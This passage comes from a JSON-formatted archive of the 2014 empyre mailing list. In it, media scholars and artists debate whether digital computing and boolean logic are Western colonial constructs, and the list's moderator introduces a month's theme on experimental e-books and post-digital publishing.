of\ndifference that underlie the logic of colonialism and which find their\nexpression in western conceptions such as individuality and objectivity\nthat lead to boolean logic and digital computing. Your essay seems to\neschew any political possibility for the post-digital in your concluding\nsentence.>\n\nReally? In addition to Florian's comments on cyberfeminist alternatives and\nwestern/non-western conceptions of number, I'd love to know how western\nconceptions solely lead to boolean logic and digital computing?\nComputational reason / computationality and solutionism most certainly, but\nthe actual infrastructure of formal systems? If you're going down that\nroute, I'd argue that your own position starts to eschew political\nalternatives on a different level, mainly as it blurs the ontological\naffordance of computation (which is wholly different from digital\ntransmission btw) with epistemological principles.\n\nSeems rather anthropocentric to suggest that material infrastructures are\ncorrelated to reproduce similar Western principles, because they are just\nan \"expression\" of them. Computational infrastructures are far messier than\nthat sort of simple divide. How are we to provide alternatives within such\ninfrastructures if they are *just* an expression of western concepts? Seems\nbizarre to me. Last time I checked, both NSA and NIST's mathematical\nstandards of pesudo-random number elliptical curve encryption didn't\nfacilitate mass surveillance because we collectively failed to \"think\ndifferently.\" It is impossible to address systemic problems with subjective\nsolutions (which, actually, isn't a bad method of critiquing post-digital\nreflection).\n\nAlso on your account, the output from trans-gender gaming communities, such\nas Anna Anthropy's Dys4ia, Merritt Kopa's Lim or the research of Samantha\nAllen (amongst many others), which rely on such processes, would contradict\nsuch an assertion: as would other examples such as the extensive\ninfrastructure of mobile banking in parts of Africa: hardly what I'd call\nwesternised.\n\nCheers\nRob\n\nOn Sun, Feb 9, 2014 at 11:41 PM, micha c\u00e1rdenas <mmcarden at usc.edu> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> I also want to add that, yes, of course my reply was cartesian, using a\n> digital system, addressing you as an individual and using the word I to\n> refer to myself. I see decolonization as a long project and its possible\n> implications for our thinking as a far away horizon, yet one still worth\n> working towards.\n>\n> thanks all,\n>\n>   micha\n>\n>\n>\n>\n> On Sun, Feb 9, 2014 at 6:35 PM, micha c\u00e1rdenas <mmcarden at usc.edu> wrote:\n>\n>> Hi Florian, thanks for your reply.\n>>\n>> In your essay \"What is Post-Digital\", I did see your discussion of the\n>> postcolonial, which seems to be a very short part of your essay which\n>> doesn't discuss any of the gendered, racialized violences of colonialism.\n>> Your discussion of the postcolonial is:\n>>\n>> \"Postcolonialism does not mean the end of colonialism akin to Hegel's and\n>> Fukuyama's \"end of history\", but quite on the contrary its transformation\n>> into less clearly visible power structures that are still in place, have\n>> left their mark on languages and cultures, and most importantly still\n>> govern geopolitics and global production chains. In this sense, the\n>> post-digital condition is the post-apocalyptic condition after the\n>> computerization and global digital networking of communication, technical\n>> infrastructures, markets and geopolitics.\"\n>>\n>> and you conclude the essay with:\n>>\n>> \"If post-digital cultures are made up of, metaphorically speaking,\n>> postcolonial practices in a communications world taken over by the\n>> military-industrial complex of only a handful of global players, then it\n>> can most simply be described as mental opposition to phenomena like Ray\n>> Kurzweil's and Google's Singularity University, the Quantified Self\n>> movement, sensor-controlled \"Smart Cities\" and similar dystopian techno\n>> utopias.\n>>\n>> Nevertheless, Silicon Valley utopias and post-digital subcultures\n>> (whether in Detroit, Rotterdam or elsewhere) have more in common than it\n>> might seem. Both are driven by fictions of agency.8<http://post-digital.projects.cavi.dk/?p=599#fn8>\n>>  There's a fiction of agency over one's body in the 'digital' Quantified\n>> Self movement, a fiction of the self-made in the 'post-digital' DIY and\n>> Maker movements, a fiction of a more intimate working with media in\n>> 'analog' handmade film labs and mimeograph cooperatives. They stand for two\n>> options of agency, over-identification with systems or skepticism towards\n>> them. Each of them is, in their own way, symptomatic of system crisis. It\n>> is not a crisis of one or the other system but a crisis of the very\n>> paradigm of \"system\" and its legacy from cybernetics. It's a legacy which\n>> (starting with their mere names) neither \"digital\", nor \"post-digital\"\n>> succeed to leave behind.\"\n>>\n>> I still hold that your configuration does not address the gendered and\n>> racialized forms of difference that underlie the logic of colonialism and\n>> which find their expression in western conceptions such as individuality\n>> and objectivity that lead to boolean logic and digital computing. Your\n>> essay seems to eschew any political possibility for the post-digital in\n>> your concluding sentence. If I'm misreading it, I would appreciate your\n>> clarification.\n>>\n>> I'm not generalizing about non-western cultures, my apologies if my post\n>> sounded like that. I mentioned Diana Taylor's book the Archive and the\n>> Repertoire as one example, where she specifically discusses the Spanish\n>> conquest of the Aztecs, Mayas and Incas. Let me cite her more thoroughly to\n>> elaborate more on what I meant and not imply any simple separation that\n>> might be described as cartesian:\n>>\n>> \"Although the Aztecs, Mayas and Incas practiced writing before the\n>> Conquest- either in pictogram form, heiroglyphs, or knotting systems- it\n>> never replaced the performed utterance... What changed with the Conquest\n>> was not that writing displaced embodied practice (we need only remember\n>> that the friars brought their own embodied practices) but the degree of\n>> legitimization of writing over other epistemic and mnemonic systems.\n>> Writing now assured that Power, with a capital P, as Rama puts it, could be\n>> developed and enforced without the input of the great majority of the\n>> population, the indigenous and marginal populations of the colonial period\n>> without access to systematic writing.\"\n>>\n>> I haven't read Eglash's work, thanks for recommending it, I'll check it\n>> out.\n>>\n>> cheers,\n>>\n>>   micha\n>>\n>>\n>>\n>>\n>>\n>> On Sun, Feb 9, 2014 at 4:49 PM, Florian Cramer <flrncrmr at gmail.com>wrote:\n>>\n>>> ----------empyre- soft-skinned space----------------------\n>>>\n>>> Micha,\n>>>\n>>> I'm taking great issue with this summary of my text. It is greatly\n>>> distorted. If you had read it carefully, you would have seen that it\n>>> actually refers to postcolonialism.\n>>>\n>>> Btw., your categorical split between \"digital\" and \"embodied\" knowledge\n>>> is as Cartesian and Western as I can get. What's even worse, by attributing\n>>> the latter to non-Western culture, it's producing a highly stereotypical\n>>> image of Non-Western cultures and systems of knowledge. I recommend to read\n>>> up, among others, on Ron Eglash's ethnomathematics (or any history of\n>>> mathematics, for that matter).\n>>>\n>>> Florian\n>>>\n>>>\n>>> On Sun, Feb 9, 2014 at 10:03 PM, micha c\u00e1rdenas <mmcarden at usc.edu>wrote:\n>>>\n>>>> ----------empyre- soft-skinned space----------------------\n>>>>\n>>>>  Thanks for an interesting discussion topic this month!\n>>>>\n>>>> I agree with your assessment that this limited configuration of the\n>>>> post-digital is already divorced from any real politics of difference or\n>>>> antagonism and so yes it is similar to relational aesthetics. In contrast,\n>>>> my own formulation of the post digital, which I presented at the\n>>>> Transmediale phd symposium in 2012 is centered in queer and trans women of\n>>>> color's political and aesthetic practices. The horizon for the post-digital\n>>>> isn't hipsters, reddit and google, as in Florian Cramer's essay \"What is\n>>>> post-digital?\", it is a reconsideration of thought and communication\n>>>> outside of the bounds of western conceptions of knowledge and rationality.\n>>>>\n>>>> You can read an essay version of what I presented at the #BWPWAP\n>>>> transmediale symposium here, where I list a few examples of aesthetic works\n>>>> that may be understood as post-digital:\n>>>>\n>>>>\n>>>> http://median.newmediacaucus.org/caa-conference-edition-2013/local-autonomy-networks-post-digital-networks-post-corporate-communications/\n>>>>\n>>>> (a short version is in the 2013 edition of APRJA:\n>>>> http://www.aprja.net/?page_id=46)\n>>>>\n>>>> and a video of me giving this as a keynote at the Dark Side of the\n>>>> Digital conference is here:\n>>>>\n>>>> http://transreal.org/talks-and-interviews/\n>>>>\n>>>> The writers for the post-digital research issue of APRJA articulate\n>>>> conceptions of politics that completely fail to address the importance of\n>>>> moving on from western systems of knowledge that are embodied in the\n>>>> digital, which is unsurprising considering their own apparent subject\n>>>> positions. For example, in The Archive and the Repertoire, Diana Taylor has\n>>>> written extensively on the ways that colonial regimes insisted on writing\n>>>> as the only legitimate form of knowledge as a way to disempower colonized\n>>>> subjects, and digital systems of storage reproduce that hierarchy by\n>>>> eschewing embodied and emotional knowledge that is not reproducible through\n>>>> digital media.\n>>>>\n>>>> thank you,\n>>>>\n>>>>   micha\n>>>>\n>>>>\n>>>>\n>>>>\n>>>>\n>>>>\n>>>> On Sun, Feb 9, 2014 at 1:44 PM, Michael Dieter <M.J.Dieter at uva.nl>wrote:\n>>>>\n>>>>> ----------empyre- soft-skinned space----------------------\n>>>>> Something else I want to ask about.\n>>>>>\n>>>>> This is the definition that the Post-Digital Research group settled on\n>>>>> for their publication:\n>>>>>\n>>>>> \"Post-digital, once understood as a critical reflection of \"digital\"\n>>>>> aesthetic immaterialism, now describes the messy and paradoxical\n>>>>> condition of art and media after digital technology revolutions.\n>>>>> \"Post-digital\" neither recognizes the distinction between \"old\" and\n>>>>> \"new\" media, nor ideological affirmation of the one or the other. It\n>>>>> merges \"old\" and \"new\", often applying network cultural\n>>>>> experimentation to analog technologies which it re-investigates and\n>>>>> re-uses. It tends to focus on the experiential rather than the\n>>>>> conceptual. It looks for DIY agency outside totalitarian innovation\n>>>>> ideology, and for networking off big data capitalism. At the same\n>>>>> time, it already has become commercialized.\"\n>>>>>\n>>>>> I'm curious about the emphasis here on the experiential, rather than\n>>>>> the conceptual. Why emphasize one over the other in this way? What\n>>>>> works or practices did the group have in mind? In a weird way, this\n>>>>> description actually reminds me of something like relational\n>>>>> aesthetics.\n>>>>>\n>>>>> --\n>>>>> Michael Dieter\n>>>>> Lecturer\n>>>>> Media Studies\n>>>>> The University of Amsterdam\n>>>>> Turfdraagsterpad 9\n>>>>> 1012 XT Amsterdam\n>>>>> http://home.medewerker.uva.nl/m.j.dieter/\n>>>>> _______________________________________________\n>>>>> empyre forum\n>>>>> empyre at lists.cofa.unsw.edu.au\n>>>>> http://www.subtle.net/empyre\n>>>>>\n>>>>\n>>>>\n>>>>\n>>>> --\n>>>>  micha c\u00e1rdenas\n>>>>\n>>>> http://michacardenas.org\n>>>> http://twitter.com/michacardenas\n>>>> http://femmedisturbance.tumblr.com\n>>>>\n>>>> International Trans Women of Color Network Gathering\n>>>> June 19, 2014, Detroit, Allied Media Conference\n>>>>\n>>>> https://twitter.com/twocamc\n>>>> http://international-twoc-gathering.tumblr.com/\n>>>> https://www.facebook.com/international.twoc.gathering\n>>>>\n>>>>\n>>>> _______________________________________________\n>>>> empyre forum\n>>>> empyre at lists.cofa.unsw.edu.au\n>>>> http://www.subtle.net/empyre\n>>>>\n>>>\n>>>\n>>> _______________________________________________\n>>> empyre forum\n>>> empyre at lists.cofa.unsw.edu.au\n>>> http://www.subtle.net/empyre\n>>>\n>>>\n>>\n>>\n>> --\n>>  micha c\u00e1rdenas\n>>\n>> http://michacardenas.org\n>> http://twitter.com/michacardenas\n>> http://femmedisturbance.tumblr.com\n>>\n>> International Trans Women of Color Network Gathering\n>> June 19, 2014, Detroit, Allied Media Conference\n>>\n>> https://twitter.com/twocamc\n>> http://international-twoc-gathering.tumblr.com/\n>> https://www.facebook.com/international.twoc.gathering\n>>\n>>\n>\n>\n> --\n>  micha c\u00e1rdenas\n>\n> http://michacardenas.org\n> http://twitter.com/michacardenas\n> http://femmedisturbance.tumblr.com\n>\n> International Trans Women of Color Network Gathering\n> June 19, 2014, Detroit, Allied Media Conference\n>\n> https://twitter.com/twocamc\n> http://international-twoc-gathering.tumblr.com/\n> https://www.facebook.com/international.twoc.gathering\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140210/dbb593ea/attachment.htm>\n",
                                        "date": "Tue Feb 11 05:10:13 EST 2014",
                                        "message-id": "6936",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006936.html",
                                        "content-type": "n/a",
                                        "author_name": "Robert Jackson",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    },
                                    {
                                        "from": "flrncrmr at gmail.com",
                                        "id": "6932",
                                        "content": "Hello Micha, hello list,\n\n> I still hold that your configuration does not address the gendered and\nracialized forms of difference that underlie the logic of colonialism and\nwhich find their expression in western conceptions such as individuality\nand objectivity that lead to boolean logic and digital computing.\n\nIn my view, it's not that simple. Boolean logic - which one can equally\nfind in the reasoning of Chinese 4th century BC philosopher like Hui Shi\n(Hui Tzu) - and digital computation (literally=computing with your fingers)\nare by far not only Western conceptions. I agree with you that Western\nculture and science have pursued them to their extreme. But as you point\nout yourself, dualisms of, on the one hand\nWestern/individualist/objectivist/boolean/digital vs.\nNon-Western/non-individualist/subjectivist/non-boolean/non-digital are in\nthemselves romantic (and colonialist) Western stereotypes. On top of that,\nthey're historically wrong. For example, the modern concept of the number\nzero, without which there would be no binary computing, was invented in 9th\ncentury AD India, with precursors in Egypt and Mesopotamia but not in\nEurope. Identifying digitality with Western colonization would\nunintentionally foster a Eurocentric view of cultural, scientific and\ntechnological history.\n\n> Your essay seems to eschew any political possibility for the post-digital\nin your concluding sentence. If I'm misreading it, I would appreciate your\nclarification.\n\nYou mean the sentence 'It is not a crisis of one or the other system but a\ncrisis of the very paradigm of \"system\" and its legacy from cybernetics.\nIt's a legacy which (starting with their mere names) neither \"digital\", nor\n\"post-digital\" succeed to leave behind.'?\n\nI don't quite get how you read this as 'eschewing any political\npossibility'. All I am trying to say is that neither \"digital\" nor\n\"post-digital\" are the right concepts for criticizing and leaving behind\ncybernetic systems thinking, or in your words, boolean logic and digital\ncomputing. After all, if you call something \"post-digital\", you don't leave\nthe digital paradigm behind but still keep it (dialectically) in place.\n\n> \"Although the Aztecs, Mayas and Incas practiced writing before the\nConquest- either in pictogram form, heiroglyphs, or knotting systems- it\nnever replaced the performed utterance... What changed with the Conquest\nwas not that writing displaced embodied practice (we need only remember\nthat the friars brought their own embodied practices) but the degree of\nlegitimization of writing over other epistemic and mnemonic systems.\nWriting now assured that Power, with a capital P, as Rama puts it, could be\ndeveloped and enforced without the input of the great majority of the\npopulation, the indigenous and marginal populations of the colonial period\nwithout access to systematic writing.\"\n\nWhat is being described here is a pre-colonial and pre-digital vs. a\ncolonial political system organized through alphanumeric (and hence\ndigital) writing. The next question would be: Which post-colonial practices\nare also post-digital?\n\nApart from that, one should not brush over the complex ambivalence even of\nformal systems, being tools of both control and of freedom to quote Wendy\nChun. There are similar ideas in postcolonial theories like that of Homi\nBhabha (for whom colonialism/postcolonialism ends up as a two-way process).\nRegarding the gendered form of difference, to use your words, inscribed\ninto digitality and computing, I think that it might be historically\ninteresting to reread Sadie Plant's \"Zeros and Ones\"; a work whose\ncyberfeminist optimism regarding digital networking has become perfectly\ncounter-intuitive in the age of Google, Facebook and the NSA, but at least\ndocuments a different reading of the very technology that we now prefix\nwith \"post-\".\n\n> I haven't read Eglash's work, thanks for recommending it, I'll check it\nout.\n\nOne of his books has just been made available on Monoskop:\nhttp://monoskop.org/log/?p=10597\n\nBy the way, it's rather unfortunate that the papers of the \"research group\"\nare linked and cited here as if they were anything canonical. As a matter\nof fact, these are preliminary, unedited papers/drafts written by a highly\ndiverse workshop gathering of artists, media studies people and arts/media\nPh.D. candidates at Aarhus Kunsthal. The definition of \"post-digital\" that\nMichael cited is partly tongue-in-cheek - it was based on a voluntary data\nmining of our drafts where we determined the most commonly used words and\nbuilt a definition from them. We ultimately rewrote the drafts for\ntransmediale.14's newspaper based on the same principles, with a high score\nfor those texts that managed to squeeze in as much of that vocabulary as\npossible. That playful context becomes a bit clearer in the newspaper. It's\nunfortunate that these texts are online without referencing the context.\nWhich ultimately says a lot about embodied and disembodied writing, no\nmatter whether it's digital or not.\n\n-F\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140210/403091e2/attachment.htm>\n",
                                        "date": "Tue Feb 11 03:54:11 EST 2014",
                                        "message-id": "6932",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006932.html",
                                        "content-type": "n/a",
                                        "author_name": "Florian Cramer",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    },
                                    {
                                        "from": "sondheim at panix.com",
                                        "id": "6937",
                                        "content": "\nFlorian Cramer wrote:\n\nIn my view, it's not that simple. Boolean logic - which one can equally \nfind in the reasoning of Chinese 4th century BC philosopher like Hui Shi \n(Hui Tzu) - and digital computation (literally=computing with your \nfingers) are by far not only Western conceptions.\n\n\n--- I've studied him a lot and I don't see his work as Boolean at all; if \nanything, it's closer to something like quantum logic. The I Ching on the \nother hand is Boolean.\n\n--- I agree with you re: post-digital; I'd say embedded digital, if \nanything, and that applies to a fairly small enclaved ecology of users/ \nparticipants.\n\n- Alan\n",
                                        "date": "Tue Feb 11 05:15:35 EST 2014",
                                        "message-id": "6937",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006937.html",
                                        "content-type": "n/a",
                                        "author_name": "Alan Sondheim",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    },
                                    {
                                        "from": "mmcarden at usc.edu",
                                        "id": "6938",
                                        "content": "thanks for your detailed reply florian, so much to consider there!\n\nalso, yes, i am familiar with the environment in the transmediale seminar\nsince i was there, which is, like you said, informal and exploratory. but\ngood to share that with everyone else...\n\n\n\nOn Mon, Feb 10, 2014 at 11:54 AM, Florian Cramer <flrncrmr at gmail.com> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> Hello Micha, hello list,\n>\n> > I still hold that your configuration does not address the gendered and\n> racialized forms of difference that underlie the logic of colonialism and\n> which find their expression in western conceptions such as individuality\n> and objectivity that lead to boolean logic and digital computing.\n>\n> In my view, it's not that simple. Boolean logic - which one can equally\n> find in the reasoning of Chinese 4th century BC philosopher like Hui Shi\n> (Hui Tzu) - and digital computation (literally=computing with your fingers)\n> are by far not only Western conceptions. I agree with you that Western\n> culture and science have pursued them to their extreme. But as you point\n> out yourself, dualisms of, on the one hand\n> Western/individualist/objectivist/boolean/digital vs.\n> Non-Western/non-individualist/subjectivist/non-boolean/non-digital are in\n> themselves romantic (and colonialist) Western stereotypes. On top of that,\n> they're historically wrong. For example, the modern concept of the number\n> zero, without which there would be no binary computing, was invented in 9th\n> century AD India, with precursors in Egypt and Mesopotamia but not in\n> Europe. Identifying digitality with Western colonization would\n> unintentionally foster a Eurocentric view of cultural, scientific and\n> technological history.\n>\n> > Your essay seems to eschew any political possibility for the\n> post-digital in your concluding sentence. If I'm misreading it, I would\n> appreciate your clarification.\n>\n> You mean the sentence 'It is not a crisis of one or the other system but a\n> crisis of the very paradigm of \"system\" and its legacy from cybernetics.\n> It's a legacy which (starting with their mere names) neither \"digital\", nor\n> \"post-digital\" succeed to leave behind.'?\n>\n> I don't quite get how you read this as 'eschewing any political\n> possibility'. All I am trying to say is that neither \"digital\" nor\n> \"post-digital\" are the right concepts for criticizing and leaving behind\n> cybernetic systems thinking, or in your words, boolean logic and digital\n> computing. After all, if you call something \"post-digital\", you don't leave\n> the digital paradigm behind but still keep it (dialectically) in place.\n>\n> > \"Although the Aztecs, Mayas and Incas practiced writing before the\n> Conquest- either in pictogram form, heiroglyphs, or knotting systems- it\n> never replaced the performed utterance... What changed with the Conquest\n> was not that writing displaced embodied practice (we need only remember\n> that the friars brought their own embodied practices) but the degree of\n> legitimization of writing over other epistemic and mnemonic systems.\n> Writing now assured that Power, with a capital P, as Rama puts it, could be\n> developed and enforced without the input of the great majority of the\n> population, the indigenous and marginal populations of the colonial period\n> without access to systematic writing.\"\n>\n> What is being described here is a pre-colonial and pre-digital vs. a\n> colonial political system organized through alphanumeric (and hence\n> digital) writing. The next question would be: Which post-colonial practices\n> are also post-digital?\n>\n> Apart from that, one should not brush over the complex ambivalence even of\n> formal systems, being tools of both control and of freedom to quote Wendy\n> Chun. There are similar ideas in postcolonial theories like that of Homi\n> Bhabha (for whom colonialism/postcolonialism ends up as a two-way process).\n> Regarding the gendered form of difference, to use your words, inscribed\n> into digitality and computing, I think that it might be historically\n> interesting to reread Sadie Plant's \"Zeros and Ones\"; a work whose\n> cyberfeminist optimism regarding digital networking has become perfectly\n> counter-intuitive in the age of Google, Facebook and the NSA, but at least\n> documents a different reading of the very technology that we now prefix\n> with \"post-\".\n>\n> > I haven't read Eglash's work, thanks for recommending it, I'll check it\n> out.\n>\n> One of his books has just been made available on Monoskop:\n> http://monoskop.org/log/?p=10597\n>\n> By the way, it's rather unfortunate that the papers of the \"research\n> group\" are linked and cited here as if they were anything canonical. As a\n> matter of fact, these are preliminary, unedited papers/drafts written by a\n> highly diverse workshop gathering of artists, media studies people and\n> arts/media Ph.D. candidates at Aarhus Kunsthal. The definition of\n> \"post-digital\" that Michael cited is partly tongue-in-cheek - it was based\n> on a voluntary data mining of our drafts where we determined the most\n> commonly used words and built a definition from them. We ultimately rewrote\n> the drafts for transmediale.14's newspaper based on the same principles,\n> with a high score for those texts that managed to squeeze in as much of\n> that vocabulary as possible. That playful context becomes a bit clearer in\n> the newspaper. It's unfortunate that these texts are online without\n> referencing the context. Which ultimately says a lot about embodied and\n> disembodied writing, no matter whether it's digital or not.\n>\n> -F\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n>\n\n\n-- \nmicha c\u00e1rdenas\n\nhttp://michacardenas.org\nhttp://twitter.com/michacardenas\nhttp://femmedisturbance.tumblr.com\n\nInternational Trans Women of Color Network Gathering\nJune 19, 2014, Detroit, Allied Media Conference\n\nhttps://twitter.com/twocamc\nhttp://international-twoc-gathering.tumblr.com/\nhttps://www.facebook.com/international.twoc.gathering\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140210/87613987/attachment.htm>\n",
                                        "date": "Tue Feb 11 10:10:37 EST 2014",
                                        "message-id": "6938",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006938.html",
                                        "content-type": "n/a",
                                        "author_name": "micha c\u00e1rdenas",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    },
                                    {
                                        "from": "M.J.Dieter at uva.nl",
                                        "id": "6939",
                                        "content": ">\n> By the way, it's rather unfortunate that the papers of the \"research group\" are linked and cited here as if they were anything canonical. As a matter of fact, these are preliminary, unedited papers/drafts written by a highly diverse workshop gathering of artists, media studies people and arts/media Ph.D. candidates at Aarhus Kunsthal. The definition of \"post-digital\" that Michael cited is partly tongue-in-cheek - it was based on a voluntary data mining of our drafts where we determined the most commonly used words and built a definition from them. We ultimately rewrote the drafts for transmediale.14's newspaper based on the same principles, with a high score for those texts that managed to squeeze in as much of that vocabulary as possible. That playful context becomes a bit clearer in the newspaper. It's unfortunate that these texts are online without referencing the context. Which ultimately says a lot about embodied and disembodied writing, no matter whether it's digital or not.\n>\n> -F\n\nSure, it was noted in my link that the papers were drafts, but surely\nthey're worth reading anyway for people who don't have the final\nversion? Again I hope that the PDF is up soon, I managed to get hold\nof the newspaper version and it's really a great publication. But\nthanks for adding some much needed context, the tongue-in-cheek aspect\nis certainly worth noting, especially since you also appear to have\n'won' the publication by clocking in the highest score Florian!\n\nAnd indeed, despite this ironic approach, why think in terms of\ncanonicity? Post-digital seems to be more like a topic. That was\nimmediately apparent from the diversity of perspectives at TM; it was\nunfortunate people didn't have more time on that panel in that\nrespect. Nevertheless, as something that relates to how Alessandro's\nresearch into publishing has developed, but that precisely allows for\ndiverse points of engagement, I thought it might be worth drawing some\nattention to, if only to allow for further discussion and points of\nview. Ultimately, I think one obvious strength of the term is that it\nappears strongly led by an exploratory/experimental sensibility,\nrather than ideal concepts or theories of best practice.\n\n-- \nMichael Dieter\nLecturer\nMedia Studies\nThe University of Amsterdam\nTurfdraagsterpad 9\n1012 XT Amsterdam\nhttp://home.medewerker.uva.nl/m.j.dieter/\n",
                                        "date": "Wed Feb 12 00:19:44 EST 2014",
                                        "message-id": "6939",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006939.html",
                                        "content-type": "n/a",
                                        "author_name": "Michael Dieter",
                                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                                    }
                                ],
                                "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                            }
                        ],
                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                    },
                    {
                        "from": "a.ludovico at neural.it",
                        "id": "6934",
                        "content": "Dear all,\n\nIt's also probably timely to report that Kim Cascone posted a few hours ago on his Facebook account that he's finished with a new essay on \"Transcendigitalism\" (he wrote that it'll be officially announced once the journal will officially be published).\n\na.\n\nOn 09 Feb 2014, at 19:44, Michael Dieter <M.J.Dieter at uva.nl> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Something else I want to ask about.\n> \n> This is the definition that the Post-Digital Research group settled on\n> for their publication:\n> \n> \"Post-digital, once understood as a critical reflection of \"digital\"\n> aesthetic immaterialism, now describes the messy and paradoxical\n> condition of art and media after digital technology revolutions.\n> \"Post-digital\" neither recognizes the distinction between \"old\" and\n> \"new\" media, nor ideological affirmation of the one or the other. It\n> merges \"old\" and \"new\", often applying network cultural\n> experimentation to analog technologies which it re-investigates and\n> re-uses. It tends to focus on the experiential rather than the\n> conceptual. It looks for DIY agency outside totalitarian innovation\n> ideology, and for networking off big data capitalism. At the same\n> time, it already has become commercialized.\"\n> \n> I'm curious about the emphasis here on the experiential, rather than\n> the conceptual. Why emphasize one over the other in this way? What\n> works or practices did the group have in mind? In a weird way, this\n> description actually reminds me of something like relational\n> aesthetics.\n> \n> -- \n> Michael Dieter\n> Lecturer\n> Media Studies\n> The University of Amsterdam\n> Turfdraagsterpad 9\n> 1012 XT Amsterdam\n> http://home.medewerker.uva.nl/m.j.dieter/\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n> \n\n",
                        "date": "Tue Feb 11 07:17:10 EST 2014",
                        "message-id": "6934",
                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006934.html",
                        "content-type": "n/a",
                        "author_name": "Alessandro Ludovico",
                        "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
                    }
                ],
                "message-id": "6923",
                "date": "Mon Feb 10 05:44:17 EST 2014",
                "list": "empyre",
                "author_name": "Michael Dieter",
                "subject": "[-empyre-] empyre Digest, Vol 111, Issue 5"
            },
            {
                "content-type": "n/a",
                "from": "M.J.Dieter at uva.nl",
                "id": "6917",
                "content": "Hi all -empyreans-\n\nI'd like to introduce the theme of Hybrid Bookwork for this month, but\nfirst, I need to thank the -empyre- team - Renate Ferro, Tim Murray, Simon\nBiggs and Patrick Lichty - for supporting me in putting this together. It's\nreally a great opportunity to develop some ideas on a topic I've become\nquite interested in and excited about, and I hope that it's also a useful\nand thought-provoking discussion for all subscribers.\n\nSecond, and crucially, thanks to all our guests who signed up for February,\nand have volunteered their time and expertise! It often seems as if there's\nnothing but increased demands on our time and attention these days, so this\nsort of generosity and commitment is I think really commendable.\n\nSo with that said, here's the description of this month's theme and a list\nof all involved...\n\nHYBRID BOOKWORK\nExperimental eBooks, Post-Digital Publishing\n\nFalse starts and speculative projects have typically characterized attempts\nto disrupt and innovate the printed book through new media; however, the\nrecent popularization of tablets and e-readers, emergence of commercial\nplatforms for production, distribution and sharing of e-books, and ongoing\ndigitalization of printed archives suggests an important threshold of\nsorts. Here, a distinct computationality has taken hold following the\naggregative and indexical aspects of file formats, data-mining supported by\naddressability and mark-up, tethered feedback of devices, and the flexible\naffordances of reflowable layouts. While digital technology has been\nintegrated into print publishing processes for several decades, such\ndevelopments suggest a profound material reformation of how books are\nproduced, distributed, experienced and mobilized as resources. It should be\nno surprise that issues and controversies around intellectual property,\nprivacy, creativity, sustainability, reading (distraction/attention),\nauthorship and the fundamental status of the book as an epistemological\nobject regularly erupt and unfold within these settings.\n\nIn relation to the significant uncertainties of publishing, artists,\nauthors and designers have begun exploring new possibilities and\nre-configurations of contemporary bookwork. Critical and exploratory\nprojects have addressed questions of access, the quantification of content,\ncreativity and epistemological questions at the intersections of language\nand machine processing, at times drawing from histories of avant-garde\npractice, artist's books, concrete poetry, spam, web detritus and\nsubcultural production. Likewise, engagements with print have become\nincreasingly experimental by reflexively harnessing the materialities of\npaper, while translating and twisting software-based techniques into\nchallenging neo-analog compositions. Described as 'post-digital' or the\n'aesthetic of bookishness', such dynamics intersect and crossover between\nmedia, and speak to the complex hybridity of the book today.\n\nOver the month of February, the -empyre- list will discuss economic,\nepistemological and aesthetic stakes that characterize this moment,\ninviting several guests to reflect on and respond to the topic of hybrid\nbookwork and the potential new directions of contemporary publishing.\n\nFeaturing: David M. Berry, Mercedes Bunz, Florian Cramer, Angela Genusa,\nLukas Jost Gross, Alessandro Ludovico, Silvio Lorusso, S\u00f8ren Pold, Domenico\nQuaranta, Rita Raley and Benjamin Shaykin.\n\nModerated by Michael Dieter.\n\n----------------------\n\nMany thanks again, I'll post an introduction to our first contributors\ntomorrow with some background information about them, along with some\nstarting points for the first week.\n\nUntil then,\n\n\n-- \nM.\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140203/e425d82c/attachment.htm>\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-February/006917.html",
                "message-id": "6917",
                "date": "Tue Feb  4 06:25:31 EST 2014",
                "list": "empyre",
                "author_name": "Michael Dieter",
                "subject": "[-empyre-] February Introduction - HYBRID BOOKWORK: Experimental eBooks, Post-Digital Publishing"
            },
            {
                "content-type": "n/a",
                "from": "M.J.Dieter at uva.nl",
                "id": "6918",
